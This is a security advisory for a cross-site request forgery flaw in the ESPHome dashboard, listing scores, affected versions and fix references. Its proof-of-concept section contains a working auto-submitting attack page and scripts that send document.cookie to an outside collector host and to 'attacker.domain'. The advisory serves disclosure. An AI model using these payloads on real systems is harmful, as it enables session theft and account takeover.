GoogleOSV:GHSA-5925-88XH-6H99ESPHome vulnerable to Authentication bypass via Cross site request forgery
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
6.6 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.0%
Summary
API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).
Details
It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.
PoC
An example of malicious web page that abuses this vulnerability:
<html>
<body>
<form action=“http://localhost:6052/edit?configuration=poc.yaml” id=“#main” method=“POST” enctype=“text/plain” onsubmit=“setTimeout(function () { window.location.reload(); }, 10)”>
<input type=“hidden” name=“<script>
fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x” value="y', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
" />
</form>
<script>
document.forms[0].submit();
</script>
<script>
</script>
</body>
</html>
In which an attacker creates and weaponizes “poc.yaml” config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.
Example of such script:
<script>
fetch(‘https://attacker.domain’, {
method: ‘POST’,
mode: ‘no-cors’,
body:document.cookie
});
</script>
Impact
This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.
In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
| CPE | Name | Operator | Version |
|---|---|---|---|
| esphome | eq | 2024.3.0b2 | |
| esphome | eq | 2024.2.0 | |
| esphome | eq | 2024.2.0b1 | |
| esphome | eq | 2024.2.0b3 | |
| esphome | eq | 2024.3.0b5 | |
| esphome | eq | 2024.2.2 | |
| esphome | eq | 2024.2.1 | |
| esphome | eq | 2024.3.0b3 | |
| esphome | eq | 2024.2.0b2 | |
| esphome | eq | 2023.12.9 |
References
github.com/advisories/GHSA-9p43-hj5j-96h5
github.com/esphome/esphome
github.com/esphome/esphome/commit/c56c40cb824e34ed2b89ba1cb8a3a5eb31459c74
github.com/esphome/esphome/pull/6396
github.com/esphome/esphome/pull/6397
github.com/esphome/esphome/releases/tag/2024.3.0
github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99
nvd.nist.gov/vuln/detail/CVE-2024-29019
Related
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
6.6 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.0%